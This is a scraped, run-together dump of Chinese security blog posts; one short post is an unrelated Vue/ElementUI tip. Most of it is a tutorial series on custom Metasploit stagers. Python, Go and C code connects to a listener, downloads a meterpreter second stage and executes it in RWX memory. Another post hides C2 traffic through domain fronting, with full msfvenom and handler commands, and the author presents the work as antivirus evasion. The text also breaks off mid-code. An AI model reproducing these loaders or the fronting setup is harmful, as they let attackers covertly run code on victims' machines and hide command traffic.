101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 # -*- coding: binary -*- require \u0026#39;rex/proto/http\u0026#39; require \u0026#39;msf/core\u0026#39; require \u0026#39;msf/base\u0026#39; require \u0026#39;msf/ui\u0026#39; module Msf module Ui module Web require \u0026#39;rex/ui/text/bidirectional_pipe\u0026#39; require \u0026#39;msf/ui/web/console\u0026#39; ### # # This class implements a user interface driver on a web interface. # ### class Driver \u0026lt; Msf::Ui::Driver attr_accessor :framework # :nodoc: attr_accessor :consoles # :nodoc: attr_accessor :sessions # :nodoc: attr_accessor :last_console # :nodoc: ConfigCore = \u0026#34;framework/core\u0026#34; ConfigGroup = \u0026#34;framework/ui/web\u0026#34; # # Initializes a web driver instance and prepares it for listening to HTTP # requests. The constructor takes a hash of options that can control how # the web server will operate. # def initialize(opts = {}) # Call the parent super() # Set the passed options hash for referencing later on. self.opts = opts self.consoles = {} self.sessions = {} if(opts[:framework]) self.framework = opts[:framework] else # Initialize configuration Msf::Config.init # Initialize logging initialize_logging # Initialize attributes self.framework = Msf::Simple::Framework.create end # Initialize the console count self.last_console = 0 end def create_console(opts={}) # Destroy any unused consoles clean_consoles console = WebConsole.new(self.framework, self.last_console, opts) self.last_console += 1 self.consoles[console.console_id.to_s] = console console.console_id.to_s end def destroy_console(cid) con = self.consoles[cid] if(con) con.shutdown self.consoles.delete(cid) end end def write_console(id, buf) self.consoles[id] ? self.consoles[id].write(buf) : nil end def read_console(id) self.consoles[id] ? self.consoles[id].read() : nil end def clean_consoles(timeout=300) self.consoles.each_pair do |id, con| if (con.last_access + timeout \u0026lt; Time.now) con.shutdown self.consoles.delete(id) end end end def write_session(id, buf) ses = self.framework.sessions[id] return if not ses return if not ses.user_input ses.user_input.put(buf) end def read_session(id) ses = self.framework.sessions[id] return if not ses return if not ses.user_output ses.user_output.read_subscriber(\u0026#39;session_reader\u0026#39;) end # Detach the session from an existing input/output pair def connect_session(id) # Ignore invalid sessions ses = self.framework.sessions[id] return if not ses # Has this session already been detached? if (ses.user_output) return if ses.user_output.has_subscriber?(\u0026#39;session_reader\u0026#39;) end # Create a new pipe spipe = WebConsole::WebConsolePipe.new spipe.input = spipe.pipe_input # Create a read subscriber spipe.create_subscriber(\u0026#39;session_reader\u0026#39;) framework.threads.spawn(\u0026#34;ConnectSessionInteraction\u0026#34;, false) do ses.interact(spipe.input, spipe) end end def sessions self.framework.sessions end # # Stub # def run true end protected attr_accessor :opts # :nodoc: # # Initializes logging for the web interface # def initialize_logging level = (opts[\u0026#39;LogLevel\u0026#39;] || 0).to_i Msf::Logging.enable_log_source(LogSource, level) end end # Add DriverFactory, makes it possible to get the same Driver instance class DriverFactory include Singleton def initialize() @drivers = Hash.new @mutex = Mutex.new end def get_or_create(opts={}, name=\u0026#39;default\u0026#39;) if not @drivers.key?(name) @mutex.synchronize { if not @drivers.key?(name) @drivers[name] = Driver.new(opts) return @drivers[name] end } end return @drivers[name] end end end end end ","permalink":"https://www.hacktech.cn/post/2020/09/msf-rpc-console-cannot-opera-same-session-on-same-time/","summary":"\u003cp\u003e感觉可能是需要对 connect_session 改动一下\u003c/p\u003e\n\u003cp\u003e后面有时间验证一下\u003c/p\u003e","title":"WIP：msf rpc console 不能同时对一个session进行操作"},{"content":"前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段，接下来将慢慢分析 reverse_http，这篇文章并不会围绕 stagers 进行讲解，这篇文章只是半埋上我之前挖的一个坑，关于域前置技术如何在 msf 中进行应用。\n域前置技术介绍 域前置技术（Domain-Fronting）顾名思义，把域名放在前面，流量的前面，那么我们应该如何做到这件事情，这个一般就是利用各大 cdn 服务了。\ncdn 技术我不用做过多介绍，相信大家给自己的网站上 cdn 都会上，简略来说原理的话，在域名注册商那里把 ns 记录，也就是 dns 解析服务器指向到你选择的 cdn 服务商，然后 cdn 就可以接管你的域名解析了，通过不同的缓存分流策略，把流量经过他的服务器后再转发给我们自己，也就是 cdn 后面的真实ip我们是不容易找到的。\n那么应用到 C2 上，我们 C2 服务器也可以挂在 cdn 后面，流量通过 cdn 转发回来。\n具体更为详细的介绍可以参见 红队行动之鱼叉攻击-倾旋\n基础配置 首先不管怎样你需要有一个服务器，以及一个加了 cdn 的域名执行你服务器\n这里我假设我们持有的域名为 test.akkuman.com，域名配好 cdn 指向的服务器是 1.1.1.1\n这里你是把服务器架在 msf 上面还是内网穿透打通端口，这个看自己喜好\n我这里是 msf 位于其他地方 2.2.2.2，然后 2.2.2.2 的 5555 端口通过 frp 映射到 1.1.1.1 的 80 端口上。\n5555 端口是我们待会 msf 监听的端口，80 端口是因为访问域名，http 协议，访问80。\n因为这些流量会通过 cdn 先转发到我们主机上的 80 端口，然后 80 端口上的流量会通过 frp 处理后送到我们本机监听的 5555 端口上。\n生成 msf payload 基础一些配置做好之后，我们可以生成 payload 了。\n首先我们需要得到一个 cdn 的 ip，因为 cdn 是依靠 http header 中的 Host 头进行流量转发的，所以我们只需要 ping 一下我们加了 cdn 的域名即可获得一个 ip，这里我是用的 cloudflare，获得的一个 ip 为 172.67.207.124\n1 msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe 这里 LHOST 为我们获取的 cdn ip，因为是 http 协议的 payload，访问域名是访问 80 端口，LPORT 我们设置为 80\nHttpHostHeader 选项为这个生成的 payload 使用 http 协议回连到 cdn ip 时 http header 所使用的 Host 头，还记得我们刚才说的 cdn 如何识别域名进行流量转发吗，这个就主要是为了 cdn 能够把流量转回到我们自己的服务器\n创建监听器 msf 在监听中有一些配置需要说明一下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 msf5 \u0026gt; use exploit/multi/handler msf5 exploit(multi/handler) \u0026gt; set payload windows/meterpreter/reverse_http payload =\u0026gt; windows/meterpreter/reverse_http msf5 exploit(multi/handler) \u0026gt; set lhost 172.67.207.124 lhost =\u0026gt; 172.67.207.124 msf5 exploit(multi/handler) \u0026gt; set lport 80 lport =\u0026gt; 80 msf5 exploit(multi/handler) \u0026gt; set HttpHostHeader test.akkuman.com HttpHostHeader =\u0026gt; test.akkuman.com msf5 exploit(multi/handler) \u0026gt; set OverrideRequestHost true OverrideRequestHost =\u0026gt; true msf5 exploit(multi/handler) \u0026gt; set ReverseListenerBindAddress 127.0.0.1 ReverseListenerBindAddress =\u0026gt; 127.0.0.1 msf5 exploit(multi/handler) \u0026gt; set ReverseListenerBindPort 5555 ReverseListenerBindPort =\u0026gt; 5555 msf5 exploit(multi/handler) \u0026gt; run 首先 lhost 为给 payload 返回第二阶段载荷时填入的 ip 地址，即第二阶段会回连到这个 ip\nlport 为给 payload 返回第二阶段载荷时填入的 port，即第二阶段会回连到这个端口\nHttpHostHeader 前面说过，是 payload 回连到这个 ip 和 port 时在 http header 中填入的 Host 头\nOverrideRequestHost 这个选项需要设置为 true，主要是因为 msf 的历史原因，msf 默认是使用传入请求 http header 中的 Host 字段来作为第二阶段的配置，也就是第二阶段会采用建立连接时传入请求的 Host，这种默认行为在大多数请求下没问题，具体可以自行测试，具体是需要 cdn 回连到我们真实 ip 时传递的域名是我们想要的，这个参数设置为 true 可以让 msf 忽略传入请求的 Host 头，而使用我们在 HttpHostHeader 中设置的\nReverseListenerBindAddress 和 ReverseListenerBindPort 参数主要是因为我的环境问题，我是通过 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555，如果你的 msf 直接在 1.1.1.1 上，那么 duck 不必这么做，直接监听 80 就好\nReverseListenerBindAddress 这个参数其实设置不设置都没关系，但是不设置的话会有个小报错，\n1 [-] Handler failed to bind to 172.67.207.124:80 这是因为 handler 无法将 cdn 的 ip 绑定到LHOST，因为这个 ip 在我们服务器上不存在，绑定失败就会提示这个，然后继续绑定 0.0.0.0。如果想要在界面上不显示这个错误，需要设置 ReverseListenerBindAddress 为 0.0.0.0 或者 127.0.0.1 之类的\n可以看到，当我们不设置 ReverseListenerBindAddress 和 ReverseListenerBindPort 时会出现上面的报错 Handler failed to bind to 172.67.207.124:80\n也就是 handler 在本地上是希望监听 80 的，而 1.1.1.1:80 上面的流量是转发到我们服务器 (2.2.2.2) 本机的 5555 端口上的。\n所以我们的监听程序实际上需要监听在 5555 端口上，所以需要设置 ReverseListenerBindPort 参数\n上面的 lhost 和 lport 其实主要是为了第二阶段回送服务的。\n实际效果 1 paylaod.exe \u0026lt;-\u0026gt; cdnip:80(Host: test.akkuman.com) \u0026lt;-\u0026gt; 1.1.1.1:80 \u0026lt;-\u0026gt; frp[1.1.1.1:7000\u0026lt;-\u0026gt;2.2.2.2:随机端口] \u0026lt;-\u0026gt; 127.0.0.1:5555 可以看到不管是请求第二阶段还是后续的心跳包，都是有带上 Host 头，流经 cdn 服务器的，这样我们就达到了隐藏自身的效果\n那么 msf 会话这边呢\n可以看到，也是可以正常使用的\n","permalink":"https://www.hacktech.cn/post/2020/07/msf-stagers-develop-4/","summary":"\u003cp\u003e前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段，接下来将慢慢分析 reverse_http，这篇文章并不会围绕 stagers 进行讲解，这篇文章只是半埋上我之前挖的一个坑，关于域前置技术如何在 msf 中进行应用。\u003c/p\u003e","title":"msf stagers开发不完全指北(四)- msf 中使用域前置技术隐藏流量"},{"content":"需求：表格每一列有一个按钮字段，点击后需要loading\n按照普通的在 Array 对象上加属性，监听不到变化，需要使用 this.$set\n比如这个样子设置\n1 2 3 4 5 6 7 8 9 10 getCoreLoots().then(response =\u0026gt; { this.transitFileList = response.data.data this.transitFileList = this.transitFileList.map(item =\u0026gt; { // 添加上传按钮loading item.uploadLoading = false return item }) console.log(this.transitFileList) this.transitListLoading = false }) 这样子出来的结果是这样\n属性设置到了 __ob__ 外面，vue监听不到变化，也就是说我们进行改变后dom不会更新\n主要的原因是：当你把一个普通的 JavaScript 对象传入 Vue 实例作为 data 选项，Vue 将遍历此对象所有的 property，并使用 Object.defineProperty 把这些 property 全部转为 getter/setter。这些 getter/setter 对用户来说是不可见的，但是在内部它们让 Vue 能够追踪依赖，在 property 被访问和修改时通知变更。Vue 无法检测 property 的添加或移除。由于 Vue 会在初始化实例时对 property 执行 getter/setter 转化，所以 property 必须在 data 对象上存在才能让 Vue 将它转换为响应式的。\n知道了原因之后我们可以做一下略微的改造\n1 2 3 4 5 6 7 8 9 10 getCoreLoots().then(response =\u0026gt; { this.transitFileList = response.data.data this.transitFileList = response.data.data.map(item =\u0026gt; { // 添加上传按钮loading item.uploadLoading = false return item }) console.log(this.transitFileList) this.transitListLoading = false }) 现在可以看到在 __ob__ 里面了。\n同样，如果你有更多的需求可以按照官方文档中的使用 set 来进行设置\n例如\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 \u0026lt;el-table-columnlabel=\u0026#34;操作\u0026#34; width=\u0026#34;145\u0026#34;\u0026gt; \u0026lt;template slot-scope=\u0026#34;scope\u0026#34;\u0026gt; \u0026lt;el-button type=\u0026#34;text\u0026#34; :loading=\u0026#34;scope.row.uploadLoading\u0026#34; size=\u0026#34;mini\u0026#34; @click=\u0026#34;handleClickUploadTransitFileToTarget(scope)\u0026#34;\u0026gt;上传到目标\u0026lt;/el-button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/el-table-column\u0026gt; ... getTransitFileList() { getCoreLoots().then(response =\u0026gt; { this.transitFileList = response.data.data this.transitFileList = this.transitFileList.map(item =\u0026gt; { // 添加上传按钮loading this.$set(item, \u0026#39;uploadLoading\u0026#39;, false) return item }) }) }, handleClickUploadTransitFileToTarget(scope) { this.$set(scope.row, \u0026#39;uploadLoading\u0026#39;, true) uploadFileToTarget().then(response =\u0026gt; { showMsg(this, `${scope.row.name} 上传成功`) this.$set(scope.row, \u0026#39;uploadLoading\u0026#39;, false) }) } ","permalink":"https://www.hacktech.cn/post/2020/07/elementui-button-loading-in-table/","summary":"\u003cp\u003e需求：表格每一列有一个按钮字段，点击后需要loading\u003c/p\u003e","title":"elementui 表格中带有按钮的loading解决方案"},{"content":"采用 Python 开发stagers 之前的文章中我们讲到了如何使用 c 以及 golang 开发 stagers，这篇文章我将着眼于 python，探讨一下如何使用 python 实现相同的功能，也就是msf的 stagers。\n环境 OS: Windows 10 Python: Python 3.7.7 (tags/v3.7.7:d7c567b08f, Mar 10 2020, 10:41:24) [MSC v.1900 64 bit (AMD64)] on win32 前情提要 这篇文章将是 windows reverse_tcp 相关的最后一节，让我们回忆一下之前写的文章中的流程原理，把 socket 文件描述符放入 edi 是为了传递给后面的 stages，让 stages 能够复用这个连接，所以我们有了 mov edi, socketfd 这一步。我们还需要取到tcp包的前四个字节，这四个字节是代表着后续 stages payload 的长度大小，获取到这个大小后，我们需要读取出指定大小的 tcp 包，然后就是把它当作 shellcode 看待，分配可读可写可执行内存，然后塞进去开始跑。\n大致上流程理清楚了，我们开始用 Python 代码进行实现\n实现细节 创建 tcp 连接 1 2 3 address = (\u0026#39;192.168.174.136\u0026#39;, 5555) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(address) 创建 tcp 连接没有什么好说的，不过这里还是需要注意的点是把你的 payload 与 python 对应起来，比如32位payload 使用 32位 python，这点是比较重要的\n获取stages 1 2 3 4 # 获取后续payload大小 payload_size = struct.unpack(\u0026#34;\u0026lt;I\u0026#34;, bytearray(s.recv(4)))[0] # 设置flag接收全部数据 payload = s.recv(payload_size, socket.MSG_WAITALL) 这里是读取了头四个 byte 作为后续的 stages 接收长度，这里需要注意的点是 socket.MSG_WAITALL，这个 flag 表示从 socket 连接读取指定长度的数据包为止，不然可能造成 recv 不完全的情况，recv 默认是有长度限制的，或者自己用 for 来实现也可以。\nmov edi, socketfd 接下来就是把 socket 文件描述符放到 edi 里面去了\n1 2 3 4 5 6 7 8 # socket 文件描述符，为了edi调用，原理请查看 https://akkuman.cnblogs.com/p/12859091.html socket_fd = struct.pack(\u0026#39;\u0026lt;I\u0026#39;, s.fileno()) # mov edi, socket_fd operation = b\u0026#39;\\xbf\u0026#39; + socket_fd # 组装完整的payload payload_with_edicall = operation + payload socket 对象提供一个 fileno 方法来供我们获取到 socket 的文件描述符，获取到之后我们使用 struct 的 pack 方法给它按照小端做成一个4 byte的，构造出 mov edi, socketfd 对应的机器码，然后和我们之前获取到的 stages 进行拼接组装成一个完整的 payload\n执行 stages 接下来就是像跑 shellcode 一样的活儿了\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 shellcode = bytearray(payload_with_edicall) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40) ) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode防止位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) 这里的 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 是必要的，至少在我这里的环境是这样，需要指定一个返回值的类型。然后我们通过 VirtualAlloc 申请一块可读可写可执行的内存，然后把我们的 payload 放到这块内存区域里面去，新开辟一个线程从这块内存的起始地址开始运行。\n当然，其实实现执行 shellcode 的方式多种多样，这里采用你自己喜欢的一种方式即可。\n结果截图 可以看到能够成功上线执行命令\n告一段落 这三篇我以 windows 的 reverse_tcp 的 payload 为例，以三个不同的语言视角进行了具体的实现，具体功效可能需要看个人自行发挥了。\n接下来我会慢慢抽时间继续把这个 stagers 开发不完全指北系列继续下去，但是可能之后如果精力有限的话不会给出多个语言的实现，我会尽量把具体的原理细节说清楚，交由大家自行实现，下面开始写的话，可能会写 msf reverse_http 相关的，毕竟这个是 cs 中的主力，缺点除了需要每次心跳时才能返回数据，不够及时之外，其实还是一个很不错的东西，也会穿插着提到一些如何使用这些东西扩展 C2，使我们的免杀更具灵活性。\n其实另一方面来说，面对杀软如果对网络有实时监控的话，这种直接传回 stages 的文件特征比较明显，我也会在我研读源码的过程中把一些成果丢出来，权当给大家抛砖引玉。\n比如 msf 中现有的 windows x64 的 payload 有这些\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 msf5 exploit(multi/handler) \u0026gt; set payload windows/x64/ set payload windows/x64/exec set payload windows/x64/meterpreter_bind_named_pipe set payload windows/x64/shell/reverse_tcp_uuid set payload windows/x64/loadlibrary set payload windows/x64/meterpreter_bind_tcp set payload windows/x64/shell_bind_tcp set payload windows/x64/messagebox set payload windows/x64/meterpreter_reverse_http set payload windows/x64/shell_reverse_tcp set payload windows/x64/meterpreter/bind_ipv6_tcp set payload windows/x64/meterpreter_reverse_https set payload windows/x64/vncinject/bind_ipv6_tcp set payload windows/x64/meterpreter/bind_ipv6_tcp_uuid set payload windows/x64/meterpreter_reverse_ipv6_tcp set payload windows/x64/vncinject/bind_ipv6_tcp_uuid set payload windows/x64/meterpreter/bind_named_pipe set payload windows/x64/meterpreter_reverse_tcp set payload windows/x64/vncinject/bind_named_pipe set payload windows/x64/meterpreter/bind_tcp set payload windows/x64/pingback_reverse_tcp set payload windows/x64/vncinject/bind_tcp set payload windows/x64/meterpreter/bind_tcp_rc4 set payload windows/x64/powershell_bind_tcp set payload windows/x64/vncinject/bind_tcp_rc4 set payload windows/x64/meterpreter/bind_tcp_uuid set payload windows/x64/powershell_reverse_tcp set payload windows/x64/vncinject/bind_tcp_uuid set payload windows/x64/meterpreter/reverse_http set payload windows/x64/shell/bind_ipv6_tcp set payload windows/x64/vncinject/reverse_http set payload windows/x64/meterpreter/reverse_https set payload windows/x64/shell/bind_ipv6_tcp_uuid set payload windows/x64/vncinject/reverse_https set payload windows/x64/meterpreter/reverse_named_pipe set payload windows/x64/shell/bind_named_pipe set payload windows/x64/vncinject/reverse_tcp set payload windows/x64/meterpreter/reverse_tcp set payload windows/x64/shell/bind_tcp set payload windows/x64/vncinject/reverse_tcp_rc4 set payload windows/x64/meterpreter/reverse_tcp_rc4 set payload windows/x64/shell/bind_tcp_rc4 set payload windows/x64/vncinject/reverse_tcp_uuid set payload windows/x64/meterpreter/reverse_tcp_uuid set payload windows/x64/shell/bind_tcp_uuid set payload windows/x64/vncinject/reverse_winhttp set payload windows/x64/meterpreter/reverse_winhttp set payload windows/x64/shell/reverse_tcp set payload windows/x64/vncinject/reverse_winhttps set payload windows/x64/meterpreter/reverse_winhttps set payload windows/x64/shell/reverse_tcp_rc4 我觉得其实是可以挑出一些自己感兴趣的进行研究\n","permalink":"https://www.hacktech.cn/post/2020/06/msf-stagers-develop-3/","summary":"\u003ch1 id=\"采用-python-开发stagers\"\u003e采用 Python 开发stagers\u003c/h1\u003e","title":"msf stagers开发不完全指北(三)"},{"content":"采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一)中我们谈到如何采用 c 进行 msf 的 stagers 开发，这篇文章我们探讨一下如何使用 Golang 实现同样的功能\n思路梳理 在 Golang 中一点比较重要的是，我们如何能够获取到 socket 的文件描述符，除此之外，我们还是同样的步骤\n向 msf 监听地址发起 tcp 请求 获取 stages 将 socket fd 放入寄存器 edi 从起始地址开始执行 stages 编译环境 OS: Windows 10\nGolang: go version go1.14.1 windows/amd64\n获取stages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 socket, err := net.Dial(\u0026#34;tcp\u0026#34;, \u0026#34;192.168.174.136:4444\u0026#34;) if err != nil { return err } // read payload size var payloadSizeRaw = make([]byte, 4) numOfBytes, err := socket.Read(payloadSizeRaw) if err != nil { return err } if numOfBytes != 4 { return errors.New(\u0026#34;Number of size bytes was not 4! \u0026#34;) } payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw)) // read payload var payload = make([]byte, payloadSize) // numOfBytes, err = socket.Read(payload) numOfBytes, err = io.ReadFull(socket, payload) if err != nil { return err } if numOfBytes != payloadSize { return errors.New(\u0026#34;Number of payload bytes does not match payload size! \u0026#34;) } 这里有几点我们需要注意的地方，第一是读取stages长度是需要使用 binary 库把它转化为 int32，你可以理解为 python 中的 struct 库，第二个是我们惯用的从 socket 连接读取数据使用的是 Read，但是并不能读全，和网络有关系，需要使用 ReadFull 或者 ReadAtLeast 进行读取。读取到 stages 后，我们可以进行下一步操作了。\nsocket fd 放入 edi 1 2 3 4 5 6 7 8 conn := socket.(*net.TCPConn) fd := reflect.ValueOf(*conn).FieldByName(\u0026#34;fd\u0026#34;) handle := reflect.Indirect(fd).FieldByName(\u0026#34;pfd\u0026#34;).FieldByName(\u0026#34;Sysfd\u0026#34;) socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr())) buff := make([]byte, 4) binary.LittleEndian.PutUint32(buff, socketFd) return buff 这部分代码就是我上面所说的难点了，首先 socket, err := net.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;192.168.174.136:4444\u0026quot;) 返回的是一个接口 type Conn interface ，我们需要找到他的真实类型，继续往里面跟我们会发现他的真实类型是 *net.TCPConn，为什么要做这一步？\n我们先看看这个结构体\n1 2 3 4 5 6 7 8 9 // TCPConn is an implementation of the Conn interface for TCP network // connections. type TCPConn struct { conn } type conn struct { fd *netFD } 我们其实需要的是里面的文件描述符，我们再往里跟一下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 // Network file descriptor. type netFD struct { pfd poll.FD // immutable until Close family int sotype int isConnected bool // handshake completed or use of association with peer net string laddr Addr raddr Addr } // poll.FD // FD is a file descriptor. The net and os packages embed this type in // a larger type representing a network connection or OS file. type FD struct { // Lock sysfd and serialize access to Read and Write methods. fdmu fdMutex // System file descriptor. Immutable until Close. Sysfd syscall.Handle // Read operation. rop operation // Write operation. wop operation // I/O poller. pd pollDesc // Used to implement pread/pwrite. l sync.Mutex // For console I/O. lastbits []byte // first few bytes of the last incomplete rune in last write readuint16 []uint16 // buffer to hold uint16s obtained with ReadConsole readbyte []byte // buffer to hold decoding of readuint16 from utf16 to utf8 readbyteOffset int // readbyte[readOffset:] is yet to be consumed with file.Read // Semaphore signaled when file is closed. csema uint32 skipSyncNotif bool // Whether this is a streaming descriptor, as opposed to a // packet-based descriptor like a UDP socket. IsStream bool // Whether a zero byte read indicates EOF. This is false for a // message based socket connection. ZeroReadIsEOF bool // Whether this is a file rather than a network socket. isFile bool // The kind of this file. kind fileKind } 可以看到 Sysfd 是文件描述符，也就是我们想要的，我们需要取一下，这里因为 Golang 里面小写开头的字段是不导出的，我们需要使用反射取一下\n注意：可能因为 Golang 版本不一致，这个结构有所更改，请自行考证一下，主要原因是非导出字段，官方是不保证向下兼容性的\n所以获取文件描述符的代码就是\n1 2 3 fd := reflect.ValueOf(*conn).FieldByName(\u0026#34;fd\u0026#34;) handle := reflect.Indirect(fd).FieldByName(\u0026#34;pfd\u0026#34;).FieldByName(\u0026#34;Sysfd\u0026#34;) socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr())) 文件描述符是 handle 所指向的值，这里需要注意一下\n然后后面的还是我们之前的操作，使用 binary 包把 uint32 转为 4bytes 数组\n然后我们需要把 socket fd 放入 edi\n1 payload = append(append([]byte{0xBF}, socketFD...), payload...) 把 mov edi, xxxx 放到了 stages 头部\n执行stages 一切的准备工作都做完了，下面就是开始准备执行了，类似执行 shellcode 的方式，这里的实现方式八仙过海各显神通了，我这里只给我我这里的实现方式\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 // modify payload to comply with the plan9 calling convention payload = append( []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57}, append( payload, []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}..., )..., ) addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40) if addr == 0 { return err } RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(\u0026amp;payload[0])), uintptr(len(payload))) syscall.Syscall(address, 0, 0, 0, 0) 这里的一串奇奇怪怪的字符可以不用加，只是为了遵守 plan9 汇编的调用约定，一些 push 保存堆栈现场和 pop 还原\n然后就是先通过申请 VirtualAlloc 一块可读可写可执行的内存，然后使用 RtlCopyMemory 把 stages 字节码拷贝进去，然后开始跑。\n这里的 windows api 使用的声明如下\n1 2 3 4 5 6 var ( kernel32 = syscall.MustLoadDLL(\u0026#34;kernel32.dll\u0026#34;) ntdll = syscall.MustLoadDLL(\u0026#34;ntdll.dll\u0026#34;) virtualAlloc = kernel32.MustFindProc(\u0026#34;VirtualAlloc\u0026#34;) RtlCopyMemory = ntdll.MustFindProc(\u0026#34;RtlCopyMemory\u0026#34;) ) 这里其实你也可以使用 x/windows 库方便使用。\n结果展示 64位编译出来 1.73M，通过 upx 压缩后 616kb，32位编译出来会更小\n执行试试\n监听 payload windows/x64/meterpreter/reverse_tcp ，可以看到成功上线\n注意事项 可能因为 Golang 版本不一致，这个结构有所更改，请自行考证一下，主要原因是非导出字段，官方是不保证向下兼容性的 依然需要注意位数的差异，比如32位的payload请使用32位编译，64位payload使用64位编译 成果源码 成果源码我就不贴出来了，其实也是这些代码组合在一起\n","permalink":"https://www.hacktech.cn/post/2020/06/msf-stagers-develop-2/","summary":"\u003ch1 id=\"采用-golang-开发stagers\"\u003e采用 Golang 开发stagers\u003c/h1\u003e","title":"msf stagers开发不完全指北(二)"},{"content":"采用c开发stagers 前言 之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么)，里面有提到以后了解这些东西后可以做的事情，其实包括但不限于自写stagers，扩展C2 实现。本系列将从之前这篇文章中获取到的原理性知识进行实践，一步步记录我在这个过程中踩到的坑与收获，这个系列可能会更新得比较慢，也可能会不定期鸽，希望大家能够一同学习，有什么错误的地方也欢迎大家来探讨指正。\n前情提要 上面我们给出的文章讲到关于第一阶段与第二阶段的交互原理\n简要概括一下，对于 reverse_tcp 的payload 来说，所给出的 payload 是第一阶段 (stagers)，然后它会发起 socket tcp 连接请求向远端请求第二阶段 (stages) ，这个阶段是一个反射 dll，然后把 socket fd (socket文件描述符) 放入 edi 寄存器，开始从起始地址执行第二阶段，第二阶段后续的操作会用到这个 socket fd，所以一开始需要传入，后面的关于这个 dll 具体运作以及为什么能直接从起始地址开始跑我们暂时不需要关心，这个在我上一篇文章中已有提及。\n明确思路 上面的流程说的已经比较明白了（此篇文章里我将采用 metasploit-loader 作为代码讲解）：\n向 msf 监听地址发起 tcp 请求\n获取 stages\n将 socket fd 放入寄存器 edi\n从起始地址开始执行 stages\n发起tcp请求stages 先贴代码\n首先我们需要创建一个socket连接\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 /* 错误处理 */ void punt(SOCKET my_socket, char * error) { printf(\u0026#34;Bad things: %s\\n\u0026#34;, error); closesocket(my_socket); WSACleanup(); exit(1); } ... WSADATA\twsaData; WORD wVersionRequested; wVersionRequested = MAKEWORD(2, 2); if (WSAStartup(wVersionRequested, \u0026amp;wsaData) \u0026lt; 0) { printf(\u0026#34;ws2_32.dll is out of date.\\n\u0026#34;); WSACleanup(); exit(1); } struct hostent *\ttarget; struct sockaddr_in sock; SOCKET my_socket; char* targetip = \u0026#34;192.168.174.136\u0026#34; int port = 4444 /* 创建socket */ my_socket = socket(AF_INET, SOCK_STREAM, 0); if (my_socket == INVALID_SOCKET) punt(my_socket, \u0026#34;Could not initialize socket\u0026#34;); /* 解析targetip*/ target = gethostbyname(targetip); if (target == NULL) punt(my_socket, \u0026#34;Could not resolve target\u0026#34;); /* 准备tcp连接相关信息 */ memcpy(\u0026amp;sock.sin_addr.s_addr, target-\u0026gt;h_addr, target-\u0026gt;h_length); sock.sin_family = AF_INET; sock.sin_port = htons(port); /* 连接 */ if ( connect(my_socket, (struct sockaddr *)\u0026amp;sock, sizeof(sock)) ) punt(my_socket, \u0026#34;Could not connect to target\u0026#34;); 这部分代码就是和我们的 msf 监听地址建立 socket 连接\n接下来关于stages有点需要说明的。\nstages结构：\n开头 4byte 是后续的 tcp 包长度 4byte 后紧跟的是一个 dll，也就是一个pe文件 那么我们按照这个方式去读\n1 2 3 int count = recv(my_socket, (char *)\u0026amp;size, 4, 0); if (count != 4 || size \u0026lt;= 0) punt(my_socket, \u0026#34;read a strange or incomplete length value\\n\u0026#34;); 读出后面的 dll 数据包长度\n然后我们开始读取 dll\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 /* 接收指定长度的数据 */ int recv_all(SOCKET my_socket, void * buffer, int len) { int tret = 0; int nret = 0; void * startb = buffer; while (tret \u0026lt; len) { nret = recv(my_socket, (char *)startb, len - tret, 0); startb 